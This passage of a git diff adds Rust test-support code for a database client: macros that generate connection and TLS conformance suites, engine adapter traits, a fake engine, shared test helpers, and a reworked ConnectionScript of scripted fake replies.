+#[macro_export] +macro_rules! connection_conformance_suite { + ( + engine: $engine:ty, + docker: $docker:tt, + endpoint: $endpoint:tt, + pool: $pool:tt, + editor_transactions: $editor:tt, + unsupported_types: $types:tt, + bounded_ddl: $ddl:tt $(,)? + ) => { + $crate::__conformance_case! { + $docker, + lists_created_table_with_primary_key_and_unique_identity, + $crate::conformance::cases::metadata::lists_created_table_with_primary_key_and_unique_identity::<$engine> + } + $crate::__conformance_case! { + $docker, + query_bound_times_out_within_deadline_plus_cancel_grace, + $crate::conformance::cases::deadlines::query_bound_times_out_within_deadline_plus_cancel_grace::<$engine> + } + $crate::__conformance_case! { + $docker, + editor_cancel_reports_cancelled_and_session_stays_ready, + $crate::conformance::cases::cancellation::editor_cancel_reports_cancelled_and_session_stays_ready::<$engine> + } + $crate::__conformance_case! { + $docker, + read_only_connection_refuses_writes, + $crate::conformance::cases::read_only::read_only_connection_refuses_writes::<$engine> + } + $crate::__conformance_case! { + $docker, + write_batch_commits_every_step, + $crate::conformance::cases::writes::write_batch_commits_every_step::<$engine> + } + $crate::__conformance_case! { + $docker, + failed_write_batch_outcome_matches_dml_atomicity, + $crate::conformance::cases::writes::failed_write_batch_outcome_matches_dml_atomicity::<$engine> + } + $crate::__conformance_case! { + $docker, + row_guard_mismatch_applies_nothing, + $crate::conformance::cases::row_guards::row_guard_mismatch_applies_nothing::<$engine> + } + $crate::__conformance_case! { + $docker, + close_is_idempotent, + $crate::conformance::cases::close::close_is_idempotent::<$engine> + } + $crate::__conformance_case! { + $docker, + stream_read_streams_every_row_in_bounded_batches, + $crate::conformance::cases::streaming::stream_read_streams_every_row_in_bounded_batches::<$engine> + } + $crate::__conformance_endpoint_cases! { $endpoint, $docker, $engine } + $crate::__conformance_pool_case! { $pool, $endpoint, $docker, $engine } + $crate::__conformance_editor_case! { $editor, $docker, $engine } + $crate::__conformance_types_case! { $types, $docker, $engine } + $crate::__conformance_ddl_case! { $ddl, $docker, $engine } + + #[::tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn suite_flags_match_driver_capabilities() + -> ::core::result::Result<(), $crate::conformance::ConformanceFailure> { + $crate::conformance::cases::suite_flags::suite_flags_match_driver_capabilities::<$engine>( + $crate::conformance::ConnectionSuiteFlags { + endpoint: $crate::__conformance_endpoint!($endpoint), + editor_transactions: $crate::__conformance_flag!($editor), + }, + ) + } + }; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_case { + (true, $name:ident, $case:expr) => { + #[::tokio::test(flavor = "multi_thread", worker_threads = 2)] + #[ignore = "requires docker"] + async fn $name() -> ::core::result::Result<(), $crate::conformance::ConformanceFailure> { + ($case)().await + } + }; + (false, $name:ident, $case:expr) => { + #[::tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn $name() -> ::core::result::Result<(), $crate::conformance::ConformanceFailure> { + ($case)().await + } + }; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_flag { + (true) => { + true + }; + (false) => { + false + }; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_endpoint { + (network) => { + $crate::conformance::SuiteEndpoint::Network + }; + (file) => { + $crate::conformance::SuiteEndpoint::File + }; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_endpoint_cases { + (network, $docker:tt, $engine:ty) => { + $crate::__conformance_case! { + $docker, + dropped_caller_stops_server_statement, + $crate::conformance::cases::cancellation::dropped_caller_stops_server_statement::<$engine> + } + $crate::__conformance_case! { + $docker, + lost_transport_reports_connection_lost, + $crate::conformance::cases::liveness::lost_transport_reports_connection_lost::<$engine> + } + }; + (file, $docker:tt, $engine:ty) => {}; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_pool_case { + (pooled, network, $docker:tt, $engine:ty) => { + $crate::__conformance_case! { + $docker, + probe_succeeds_while_every_pool_slot_is_busy, + $crate::conformance::cases::pool::probe_succeeds_while_every_network_pool_slot_is_busy::<$engine> + } + }; + (pooled, file, $docker:tt, $engine:ty) => { + $crate::__conformance_case! { + $docker, + probe_succeeds_while_every_pool_slot_is_busy, + $crate::conformance::cases::pool::probe_succeeds_while_every_pool_slot_is_busy::<$engine> + } + }; + (unbounded, network, $docker:tt, $engine:ty) => {}; + (unbounded, file, $docker:tt, $engine:ty) => {}; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_editor_case { + (true, $docker:tt, $engine:ty) => { + $crate::__conformance_case! { + $docker, + row_limit_keeps_transaction_and_later_statements, + $crate::conformance::cases::row_limit::row_limit_keeps_transaction_and_later_statements::<$engine> + } + }; + (false, $docker:tt, $engine:ty) => {}; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_types_case { + (true, $docker:tt, $engine:ty) => { + $crate::__conformance_case! { + $docker, + unsupported_types_never_decode_as_null, + $crate::conformance::cases::type_fallback::unsupported_types_never_decode_as_null::<$engine> + } + }; + (false, $docker:tt, $engine:ty) => {}; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __conformance_ddl_case { + (true, $docker:tt, $engine:ty) => { + $crate::__conformance_case! { + $docker, + schema_changes_batch_is_not_bounded_by_statement_timeout, + $crate::conformance::cases::statement_timeout::schema_changes_batch_is_not_bounded_by_statement_timeout::<$engine> + } + }; + (false, $docker:tt, $engine:ty) => {}; +} diff --git a/linux/crates/test-support/src/conformance/editor_transaction_engine.rs b/linux/crates/test-support/src/conformance/editor_transaction_engine.rs new file mode 100644 index 0000000000..c2de35ac45 --- /dev/null +++ b/linux/crates/test-support/src/conformance/editor_transaction_engine.rs @@ -0,0 +1,9 @@ +use crate::conformance::ConformanceEngine; + +/// An engine whose editor session can hold a transaction open across +/// runs. +pub trait EditorTransactionEngine: ConformanceEngine { + fn begin_sql(&self) -> String; + + fn commit_sql(&self) -> String; +} diff --git a/linux/crates/test-support/src/conformance/fake_engine.rs b/linux/crates/test-support/src/conformance/fake_engine.rs new file mode 100644 index 0000000000..5ac392cd0f --- /dev/null +++ b/linux/crates/test-support/src/conformance/fake_engine.rs @@ -0,0 +1,86 @@ +//! A conformance engine over the fakes, so the cases themselves can be +//! tested: each scenario scripts one way a driver can break a rule. + +use std::marker::PhantomData; +use std::path::PathBuf; +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::{ + ConnectEnvironment, ConnectOptions, ConnectTarget, DatabaseDriver, DriverCapabilities, FileEndpoint, + LivenessPolicy, TableRef, WorkspaceSettings, WriteReport, +}; + +use crate::conformance::{ConformanceEngine, ConformanceFailure, PooledConformanceEngine}; +use crate::{ConnectionScript, FakeDriver, FakeReply}; + +pub(crate) trait FakeScenario: Send + Sync + 'static { + fn capabilities() -> &'static DriverCapabilities { + &FakeDriver::NETWORK_CAPABILITIES + } + + fn script() -> ConnectionScript; +} + +pub(crate) struct FakeEngine(PhantomData S>); + +impl FakeEngine { + /// Answers the setup every case does, so a scenario scripts only the + /// call it is about. + pub(crate) fn base_script() -> ConnectionScript { + let mut script = ConnectionScript::default(); + script.probe.always(FakeReply::ok(())); + script + .write_batch + .when_sql_contains("CREATE TABLE", FakeReply::ok(WriteReport::new(vec![None]))); + script + } +} + +#[async_trait] +impl ConformanceEngine for FakeEngine { + fn driver() -> Arc { + Arc::new(FakeDriver::connecting(S::capabilities(), S::script())) + } + + async fn start() -> Result { + Ok(Self(PhantomData)) + } + + fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::File(FileEndpoint::open_existing(PathBuf::from("/fake.db")).unwrap()), + workspace_settings: settings, + liveness, + environment: ConnectEnvironment::new("test"), + } + } + + fn scratch_table(&self, name: &str) -> TableRef { + TableRef::unqualified(name) + } + + fn create_scratch_table_sql(&self, table: &TableRef) -> String { + format!( + "CREATE TABLE {} (id integer primary key, label text not null)", + table.name + ) + } + + fn unbounded_statement_sql(&self, marker: &str) -> String { + format!("UNBOUNDED {marker}") + } + + async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result { + Ok(format!("BLOCK {marker} {}", hold.as_secs())) + } + + fn row_source_sql(&self, rows: u64) -> String { + format!("ROWS {rows}") + } +} + +impl PooledConformanceEngine for FakeEngine { + const WORKSPACE_POOL_MAX_SIZE: usize = 2; +} diff --git a/linux/crates/test-support/src/conformance/mod.rs b/linux/crates/test-support/src/conformance/mod.rs new file mode 100644 index 0000000000..f7b84209f8 --- /dev/null +++ b/linux/crates/test-support/src/conformance/mod.rs @@ -0,0 +1,41 @@ +//! The suites every driver runs against a real server. +//! +//! A driver's integration target implements an engine adapter and +//! invokes `connection_conformance_suite!` and `tls_conformance_suite!` +//! with flags for what the engine supports. A flag that is off emits no +//! test, and the flags themselves are checked against the driver's +//! capability table, so a case cannot be skipped by declaring less. + +mod bounded_ddl_engine; +pub mod cases; +mod client_identity_engine; +mod conformance_engine; +mod conformance_failure; +mod connection_suite_flags; +mod connection_suite_macro; +mod editor_transaction_engine; +#[cfg(test)] +mod fake_engine; +mod network_conformance_engine; +mod pooled_conformance_engine; +mod suite_endpoint; +mod support; +mod test_liveness; +mod tls_conformance_engine; +mod tls_suite_macro; +mod typed_conformance_engine; +mod unsupported_type_case; + +pub use bounded_ddl_engine::BoundedDdlEngine; +pub use client_identity_engine::ClientIdentityEngine; +pub use conformance_engine::ConformanceEngine; +pub use conformance_failure::ConformanceFailure; +pub use connection_suite_flags::ConnectionSuiteFlags; +pub use editor_transaction_engine::EditorTransactionEngine; +pub use network_conformance_engine::NetworkConformanceEngine; +pub use pooled_conformance_engine::PooledConformanceEngine; +pub use suite_endpoint::SuiteEndpoint; +pub use test_liveness::test_liveness; +pub use tls_conformance_engine::TlsConformanceEngine; +pub use typed_conformance_engine::TypedConformanceEngine; +pub use unsupported_type_case::UnsupportedTypeCase; diff --git a/linux/crates/test-support/src/conformance/network_conformance_engine.rs b/linux/crates/test-support/src/conformance/network_conformance_engine.rs new file mode 100644 index 0000000000..a51b2f9aef --- /dev/null +++ b/linux/crates/test-support/src/conformance/network_conformance_engine.rs @@ -0,0 +1,24 @@ +use std::sync::Arc; + +use async_trait::async_trait; +use tablepro_core::{ConnectOptions, LivenessPolicy, WorkspaceSettings}; + +use crate::FaultTransport; +use crate::conformance::{ConformanceEngine, ConformanceFailure}; + +/// An engine reached over the network, whose route a case can break and +/// whose server can be asked what is still running. +#[async_trait] +pub trait NetworkConformanceEngine: ConformanceEngine { + /// Options whose transport is the returned `FaultTransport`, so the + /// case can drop the route under a live connection. + async fn faulty_connect_options( + &self, + settings: WorkspaceSettings, + liveness: LivenessPolicy, + ) -> Result<(ConnectOptions, Arc), ConformanceFailure>; + + /// A query returning one integer: how many statements carrying + /// `marker` the server is running, not counting itself. + fn running_statement_count_sql(&self, marker: &str) -> String; +} diff --git a/linux/crates/test-support/src/conformance/pooled_conformance_engine.rs b/linux/crates/test-support/src/conformance/pooled_conformance_engine.rs new file mode 100644 index 0000000000..3587703833 --- /dev/null +++ b/linux/crates/test-support/src/conformance/pooled_conformance_engine.rs @@ -0,0 +1,9 @@ +use crate::conformance::ConformanceEngine; + +/// An engine whose workspace connection is a pool with a fixed size. +pub trait PooledConformanceEngine: ConformanceEngine { + /// The size the driver gives its pool, taken from the driver's own + /// exported constant: a pool library's default depends on the host's + /// core count, so only the driver's number is reliable. + const WORKSPACE_POOL_MAX_SIZE: usize; +} diff --git a/linux/crates/test-support/src/conformance/suite_endpoint.rs b/linux/crates/test-support/src/conformance/suite_endpoint.rs new file mode 100644 index 0000000000..3951ff5a7b --- /dev/null +++ b/linux/crates/test-support/src/conformance/suite_endpoint.rs @@ -0,0 +1,6 @@ +/// The `endpoint:` flag of a connection suite. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum SuiteEndpoint { + Network, + File, +} diff --git a/linux/crates/test-support/src/conformance/support.rs b/linux/crates/test-support/src/conformance/support.rs new file mode 100644 index 0000000000..8194cb1f8a --- /dev/null +++ b/linux/crates/test-support/src/conformance/support.rs @@ -0,0 +1,248 @@ +//! What the cases share: connecting under a bound, building plain SQL +//! for the scratch table, and collecting what an editor run sends. + +use std::sync::{Arc, Mutex}; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::statement::{GuardedStatement, Statement, StatementBuilder}; +use tablepro_core::value::Value; +use tablepro_core::{ + CallOptions, ConnectOptions, Connection, DatabaseDriver, DriverError, EditorSession, ForeignKeyMode, + LivenessPolicy, ResultEvent, ResultSink, RunEnd, RunOptions, RunSummary, SinkFlow, TableRef, Truncation, UserSql, + WorkspaceSettings, WriteBatch, WriteKind, WriteReport, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::conformance::{ConformanceEngine, ConformanceFailure, test_liveness}; +use crate::lock; + +/// How long a setup call may take. It is not what a case measures, so +/// it only has to be long enough for a loaded container. +pub(crate) const CALL_DEADLINE: Duration = Duration::from_secs(30); + +/// Added to every bound a case measures. Timers fire a little after +/// they are due, so a driver that spends its whole cancel grace lands +/// just past the exact sum without breaking the contract. +pub(crate) const SCHEDULING_SLACK: Duration = Duration::from_millis(250); + +pub(crate) fn writable() -> WorkspaceSettings { + WorkspaceSettings::workspace(false) +} + +pub(crate) fn within(limit: Duration) -> CallOptions { + CallOptions::new(Some(Instant::now() + limit), CancellationToken::new()) +} + +pub(crate) fn no_deadline() -> CallOptions { + CallOptions::new(None, CancellationToken::new()) +} + +pub(crate) fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() +} + +/// A lowercase name no other case uses, so cases sharing a server never +/// see each other's tables or statements. +pub(crate) fn unique(prefix: &str) -> String { + let suffix = uuid::Uuid::new_v4().simple().to_string(); + format!("tp_{prefix}_{}", suffix.get(..12).unwrap_or(&suffix)) +} + +pub(crate) fn expect( + case: &'static str, + holds: bool, + detail: impl FnOnce() -> String, +) -> Result<(), ConformanceFailure> { + if holds { Ok(()) } else { Err(unexpected(case, detail())) } +} + +pub(crate) fn unexpected(case: &'static str, detail: impl Into) -> ConformanceFailure { + ConformanceFailure::Expectation { + case, + detail: detail.into(), + } +} + +/// Connect, failing the case rather than hanging when the driver +/// overruns the bound its own liveness policy sets. +pub(crate) async fn dial( + case: &'static str, + driver: Arc, + options: ConnectOptions, +) -> Result, DriverError>, ConformanceFailure> { + let liveness = options.liveness; + let bound = connect_bound(&liveness); + let connecting = driver.connect(options, CancellationToken::new()); + tokio::time::timeout(bound, connecting) + .await + .map_err(|_| unexpected(case, format!("connect did not finish within {bound:?}"))) +} + +fn connect_bound(liveness: &LivenessPolicy) -> Duration { + liveness.connect_timeout + liveness.login_timeout + liveness.cancel_grace +} + +pub(crate) async fn connect( + case: &'static str, + engine: &E, + settings: WorkspaceSettings, +) -> Result, ConformanceFailure> { + let options = engine.connect_options(settings, test_liveness()); + Ok(dial(case, E::driver(), options).await??) +} + +pub(crate) async fn apply( + connection: &dyn Connection, + table: &TableRef, + kind: WriteKind, + statements: Vec, +) -> Result { + let steps = statements + .iter() + .map(|sql| GuardedStatement::unguarded(statement(sql))) + .collect(); + let batch = WriteBatch::new(kind, table.clone(), steps, ForeignKeyMode::Enforced); + connection.write_batch(&batch, within(CALL_DEADLINE)).await +} + +pub(crate) async fn create_scratch_table( + engine: &E, + connection: &dyn Connection, + prefix: &str, +) -> Result { + let table = engine.scratch_table(&unique(prefix)); + let create = engine.create_scratch_table_sql(&table); + apply(connection, &table, WriteKind::SchemaChanges, vec![create]).await?; + Ok(table) +} + +pub(crate) fn insert_sql(dialect: &dyn SqlDialect, table: &TableRef, id: i64, label: &str) -> String { + format!( + "INSERT INTO {} ({}, {}) VALUES ({id}, '{label}')", + dialect.qualify(table), + dialect.quote_identifier("id"), + dialect.quote_identifier("label"), + ) +} + +/// The rows in `table`, through the same `count_rows` the browse tab +/// uses. +pub(crate) async fn count(connection: &dyn Connection, table: &TableRef) -> Result { + let dialect = connection.dialect(); + let sql = format!("SELECT {} FROM {}", dialect.count_all(), dialect.qualify(table)); + Ok(connection.count_rows(&statement(&sql), within(CALL_DEADLINE)).await?) +} + +/// The events one editor run sent, kept after the sink is gone. +#[derive(Debug, Clone, Default)] +pub(crate) struct Collected(Arc>>); + +impl Collected { + fn sink(&self) -> Box { + Box::new(CollectingSink(self.clone())) + } + + pub(crate) fn rows(&self) -> Vec> { + lock(&self.0) + .iter() + .filter_map(|event| match event { + ResultEvent::Rows(rows) => Some(rows.clone()), + _ => None, + }) + .flatten() + .collect() + } + + pub(crate) fn truncations(&self) -> Vec { + lock(&self.0) + .iter() + .filter_map(|event| match event { + ResultEvent::ResultSetFinished { truncation, .. } => Some(*truncation), + _ => None, + }) + .collect() + } +} + +struct CollectingSink(Collected); + +#[async_trait] +impl ResultSink for CollectingSink { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + lock(&self.0.0).push(event); + SinkFlow::Continue + } +} + +pub(crate) async fn run_editor( + session: &dyn EditorSession, + sql: &str, + options: RunOptions, +) -> Result<(RunSummary, Collected), DriverError> { + let collected = Collected::default(); + let summary = session.run(UserSql::new(sql), options, collected.sink()).await?; + Ok((summary, collected)) +} + +pub(crate) fn run_options() -> RunOptions { + RunOptions::new(CancellationToken::new()) +} + +/// Run `sql` and require it to complete. +pub(crate) async fn run_completed( + case: &'static str, + session: &dyn EditorSession, + sql: &str, + options: RunOptions, +) -> Result { + let (summary, collected) = run_editor(session, sql, options).await?; + expect(case, summary.end == RunEnd::Completed, || { + format!("`{sql}` ended {:?}", summary.end) + })?; + Ok(collected) +} + +/// The single integer a count query returned. +pub(crate) fn single_count(rows: &[Vec]) -> Option { + match rows.first()?.first()? { + Value::Int(count) => u64::try_from(*count).ok(), + Value::UInt(count) => Some(*count), + Value::Text(count) => count.trim().parse().ok(), + _ => None, + } +} + +/// Ask the server, through an editor session, how many statements are +/// running, until `done` holds or `limit` passes. +pub(crate) async fn wait_for_running( + case: &'static str, + monitor: &dyn EditorSession, + count_sql: &str, + done: impl Fn(u64) -> bool, + limit: Duration, +) -> Result { + let give_up = Instant::now() + limit; + loop { + let rows = run_completed(case, monitor, count_sql, run_options()).await?.rows(); + let Some(running) = single_count(&rows) else { + return Err(ConformanceFailure::setup(format!( + "the running-statement count returned {rows:?}, not one integer" + ))); + }; + if done(running) { + return Ok(running); + } + if Instant::now() >= give_up { + return Err(unexpected( + case, + format!("{running} statements were still running after {limit:?}"), + )); + } + tokio::time::sleep(Duration::from_millis(100)).await; + } +} diff --git a/linux/crates/test-support/src/conformance/test_liveness.rs b/linux/crates/test-support/src/conformance/test_liveness.rs new file mode 100644 index 0000000000..ae1ec9f4b2 --- /dev/null +++ b/linux/crates/test-support/src/conformance/test_liveness.rs @@ -0,0 +1,16 @@ +use std::time::Duration; + +use tablepro_core::LivenessPolicy; + +/// The desktop policy with the bounds a case waits on cut short, so a +/// suite fails in seconds rather than minutes. The connect and login +/// timeouts stay at the desktop values, because a container under load +/// can be slow to accept and that is not what these cases test. +pub fn test_liveness() -> LivenessPolicy { + LivenessPolicy { + probe_timeout: Duration::from_secs(2), + pool_wait: Duration::from_secs(1), + cancel_grace: Duration::from_secs(1), + ..LivenessPolicy::DESKTOP + } +} diff --git a/linux/crates/test-support/src/conformance/tls_conformance_engine.rs b/linux/crates/test-support/src/conformance/tls_conformance_engine.rs new file mode 100644 index 0000000000..1b7381ba99 --- /dev/null +++ b/linux/crates/test-support/src/conformance/tls_conformance_engine.rs @@ -0,0 +1,43 @@ +use std::path::Path; +use std::sync::Arc; + +use async_trait::async_trait; +use tablepro_core::{ConnectOptions, DatabaseDriver, ErrorCategory, TlsConfig}; + +use crate::conformance::ConformanceFailure; + +/// What a driver's integration target supplies so the TLS suite can run +/// against a server that accepts only TLS. +#[async_trait] +pub trait TlsConformanceEngine: Send + Sync + Sized + 'static { + fn driver() -> Arc; + + /// Start a TLS-only server from the test fixtures. + async fn start() -> Result; + + /// Options for the password principal on the server's mapped port. + fn connect_options(&self, tls: TlsConfig) -> ConnectOptions; + + fn ca_file(&self) -> &Path; + + fn unrelated_ca_file(&self) -> &Path; + + /// A name on the server certificate, sent as the TLS server name + /// where the driver lets one be set on a direct route. + fn served_name(&self) -> &str; + + /// What a plaintext connect to this server fails with. + fn plaintext_rejection_category(&self) -> ErrorCategory; + + /// Options that reach the server under a name its certificate does + /// not carry. An engine that cannot override the server name on a + /// direct route targets an address that is not on the certificate + /// instead. + fn name_mismatch_connect_options(&self, tls: TlsConfig) -> ConnectOptions { + let tls = TlsConfig { + server_name: Some("wrong.tablepro.test".to_owned()), + ..tls + }; + self.connect_options(tls) + } +} diff --git a/linux/crates/test-support/src/conformance/tls_suite_macro.rs b/linux/crates/test-support/src/conformance/tls_suite_macro.rs new file mode 100644 index 0000000000..b15d98bc4d --- /dev/null +++ b/linux/crates/test-support/src/conformance/tls_suite_macro.rs @@ -0,0 +1,133 @@ +/// Emit the TLS conformance cases for one engine adapter. +/// +/// Every case starts a TLS-only server, so every case is +/// `#[ignore = "requires docker"]`. `client_identity: true` adds the +/// client-certificate case and needs `ClientIdentityEngine`; `false` +/// emits no such case. `tls_suite_flags_match_driver_capabilities` is +/// never ignored and fails when the flag disagrees with the driver's +/// TLS capabilities. +/// +/// ```no_run,test_harness +/// # use std::path::{Path, PathBuf}; +/// # use std::sync::Arc; +/// # use async_trait::async_trait; +/// # use tablepro_core::{ +/// # ClientIdentity, ConnectEnvironment, ConnectOptions, ConnectTarget, DatabaseDriver, ErrorCategory, +/// # FileEndpoint, TlsConfig, WorkspaceSettings, +/// # }; +/// # use tablepro_test_support::conformance::{ +/// # ClientIdentityEngine, ConformanceFailure, TlsConformanceEngine, test_liveness, +/// # }; +/// # use tablepro_test_support::{ConnectionScript, FakeDriver}; +/// # struct ExampleTlsEngine; +/// # #[async_trait] +/// # impl TlsConformanceEngine for ExampleTlsEngine { +/// # fn driver() -> Arc { +/// # Arc::new(FakeDriver::connecting(&FakeDriver::NETWORK_CAPABILITIES, ConnectionScript::default())) +/// # } +/// # async fn start() -> Result { +/// # Ok(Self) +/// # } +/// # fn connect_options(&self, _tls: TlsConfig) -> ConnectOptions { +/// # let file = FileEndpoint::open_existing(PathBuf::from("/example.db")).unwrap(); +/// # ConnectOptions { +/// # target: ConnectTarget::File(file), +/// # workspace_settings: WorkspaceSettings::workspace(false), +/// # liveness: test_liveness(), +/// # environment: ConnectEnvironment::new("example"), +/// # } +/// # } +/// # fn ca_file(&self) -> &Path { +/// # Path::new("/tls/ca.pem") +/// # } +/// # fn unrelated_ca_file(&self) -> &Path { +/// # Path::new("/tls/unrelated-ca.pem") +/// # } +/// # fn served_name(&self) -> &str { +/// # "db.tablepro.test" +/// # } +/// # fn plaintext_rejection_category(&self) -> ErrorCategory { +/// # ErrorCategory::Tls +/// # } +/// # } +/// # impl ClientIdentityEngine for ExampleTlsEngine { +/// # fn client_identity(&self) -> ClientIdentity { +/// # ClientIdentity { +/// # certificate: PathBuf::from("/tls/client.pem"), +/// # key: PathBuf::from("/tls/client.key"), +/// # } +/// # } +/// # fn certificate_connect_options(&self, tls: TlsConfig) -> ConnectOptions { +/// # self.connect_options(tls) +/// # } +/// # } +/// mod with_client_identity { +/// use super::ExampleTlsEngine; +/// +/// tablepro_test_support::tls_conformance_suite! { +/// engine: ExampleTlsEngine, +/// client_identity: true, +/// } +/// } +/// +/// mod without_client_identity { +/// use super::ExampleTlsEngine; +/// +/// tablepro_test_support::tls_conformance_suite! { +/// engine: ExampleTlsEngine, +/// client_identity: false, +/// } +/// } +/// ``` +#[macro_export] +macro_rules! tls_conformance_suite { + (engine: $engine:ty, client_identity: $identity:tt $(,)?) => { + $crate::__conformance_case! { + true, + verify_full_with_issuing_ca_connects, + $crate::conformance::cases::tls::verify_full_with_issuing_ca_connects::<$engine> + } + $crate::__conformance_case! { + true, + verify_full_with_unrelated_ca_reports_unknown_issuer, + $crate::conformance::cases::tls::verify_full_with_unrelated_ca_reports_unknown_issuer::<$engine> + } + $crate::__conformance_case! { + true, + verify_full_with_wrong_server_name_reports_name_mismatch, + $crate::conformance::cases::tls::verify_full_with_wrong_server_name_reports_name_mismatch::<$engine> + } + $crate::__conformance_case! { + true, + require_connects_without_ca, + $crate::conformance::cases::tls::require_connects_without_ca::<$engine> + } + $crate::__conformance_case! { + true, + disable_against_tls_only_server_is_refused, + $crate::conformance::cases::tls::disable_against_tls_only_server_is_refused::<$engine> + } + $crate::__tls_identity_case! { $identity, $engine } + + #[::tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn tls_suite_flags_match_driver_capabilities() + -> ::core::result::Result<(), $crate::conformance::ConformanceFailure> { + $crate::conformance::cases::tls::tls_suite_flags_match_driver_capabilities::<$engine>( + $crate::__conformance_flag!($identity), + ) + } + }; +} + +#[doc(hidden)] +#[macro_export] +macro_rules! __tls_identity_case { + (true, $engine:ty) => { + $crate::__conformance_case! { + true, + client_identity_is_required_by_the_server, + $crate::conformance::cases::tls::client_identity_is_required_by_the_server::<$engine> + } + }; + (false, $engine:ty) => {}; +} diff --git a/linux/crates/test-support/src/conformance/typed_conformance_engine.rs b/linux/crates/test-support/src/conformance/typed_conformance_engine.rs new file mode 100644 index 0000000000..cd5eb7ef51 --- /dev/null +++ b/linux/crates/test-support/src/conformance/typed_conformance_engine.rs @@ -0,0 +1,6 @@ +use crate::conformance::{ConformanceEngine, UnsupportedTypeCase}; + +/// An engine with types the driver reads without a decoder of its own. +pub trait TypedConformanceEngine: ConformanceEngine { + fn unsupported_type_cases(&self) -> Vec; +} diff --git a/linux/crates/test-support/src/conformance/unsupported_type_case.rs b/linux/crates/test-support/src/conformance/unsupported_type_case.rs new file mode 100644 index 0000000000..2a326a6871 --- /dev/null +++ b/linux/crates/test-support/src/conformance/unsupported_type_case.rs @@ -0,0 +1,13 @@ +/// A column of a type the driver has no decoder for, and a value of it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct UnsupportedTypeCase { + /// Statements run first, such as creating the enum or composite the + /// column uses. + pub setup_sql: Vec, + /// The column clause `ALTER TABLE ... ADD` takes, naming the column + /// `v`. It is the whole clause because engines disagree on whether + /// `COLUMN` is required (ClickHouse) or refused (SQL Server). + pub declaration: String, + /// A non-null value of the type, as SQL. + pub insert_value_sql: String, +} diff --git a/linux/crates/test-support/src/connection_script.rs b/linux/crates/test-support/src/connection_script.rs index a06d8bd7d3..ed92e0b1b2 100644 --- a/linux/crates/test-support/src/connection_script.rs +++ b/linux/crates/test-support/src/connection_script.rs @@ -1,47 +1,67 @@ -use std::collections::VecDeque; +use std::sync::Arc; -use tablepro_core::{ColumnInfo, DriverError, QueryResult, TableInfo}; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{ObjectInfo, RowIdentity, SchemaInfo, TableEstimate}; +use tablepro_core::{ + ColumnInfo, CommitResolution, EditorSession, ForeignKeyInfo, IndexInfo, QueryResult, ResultEvent, ServerInfo, + WriteReport, +}; -use crate::CloseBehaviour; +use crate::{CloseBehaviour, FakeDialect, FakeReply, Replies}; -#[derive(Debug, Default)] +/// Everything a `FakeConnection` answers, set up before the code under +/// test gets the connection. +/// +/// Each call that has no scripted answer fails with a protocol error +/// naming the method, so a test that forgot one fails rather than +/// hanging. +#[derive(Debug, Clone)] pub struct ConnectionScript { - pub(crate) list_tables: VecDeque, DriverError>>, - pub(crate) fetch_columns: VecDeque, DriverError>>, - pub(crate) query: VecDeque>, - pub(crate) execute_in_transaction: VecDeque, DriverError>>, - pub(crate) ping: VecDeque>, - pub(crate) close: CloseBehaviour, + pub server_info: ServerInfo, + pub dialect: Arc, + pub read_only: bool, + pub close: CloseBehaviour, + pub probe: Replies>, + pub list_schemas: Replies>>, + pub list_objects: Replies>>, + pub fetch_columns: Replies>>, + pub fetch_indexes: Replies>>, + pub fetch_foreign_keys: Replies>>, + pub fetch_table_definition: Replies>, + pub row_identity: Replies>, + pub table_estimate: Replies>, + pub query_bound: Replies>, + pub count_rows: Replies>, + /// The events each read sends to its sink, in order. + pub stream_read: Replies>>, + pub write_batch: Replies>, + pub resolve_commit: Replies>, + pub open_editor_session: Replies>>, } -impl ConnectionScript { - pub fn with_list_tables(mut self, result: Result, DriverError>) -> Self { - self.list_tables.push_back(result); - self - } - - pub fn with_fetch_columns(mut self, result: Result, DriverError>) -> Self { - self.fetch_columns.push_back(result); - self - } - - pub fn with_query(mut self, result: Result) -> Self { - self.query.push_back(result); - self - } - - pub fn with_execute_in_transaction(mut self, result: Result, DriverError>) -> Self { - self.execute_in_transaction.push_back(result); - self - } - - pub fn with_ping(mut self, result: Result<(), DriverError>) -> Self { - self.ping.push_back(result); - self - } - - pub fn with_close(mut self, behaviour: CloseBehaviour) -> Self { - self.close = behaviour; - self +impl Default for ConnectionScript { + fn default() -> Self { + Self { + server_info: ServerInfo::new("Fake", "1.0", 1, 0, 0), + dialect: Arc::new(FakeDialect), + read_only: false, + close: CloseBehaviour::Immediate, + probe: Replies::default(), + list_schemas: Replies::default(), + list_objects: Replies::default(), + fetch_columns: Replies::default(), + fetch_indexes: Replies::default(), + fetch_foreign_keys: Replies::default(), + fetch_table_definition: Replies::default(), + row_identity: Replies::default(), + table_estimate: Replies::default(), + query_bound: Replies::default(), + count_rows: Replies::default(), + stream_read: Replies::default(), + write_batch: Replies::default(), + resolve_commit: Replies::default(), + open_editor_session: Replies::default(), + } } } diff --git a/linux/crates/test-support/src/fake_connection.rs b/linux/crates/test-support/src/fake_connection.rs index acae0164f8..0f589a4e19 100644 --- a/linux/crates/test-support/src/fake_connection.rs +++ b/linux/crates/test-support/src/fake_connection.rs @@ -1,22 +1,48 @@ -use std::collections::VecDeque; -use std::sync::Mutex; -use 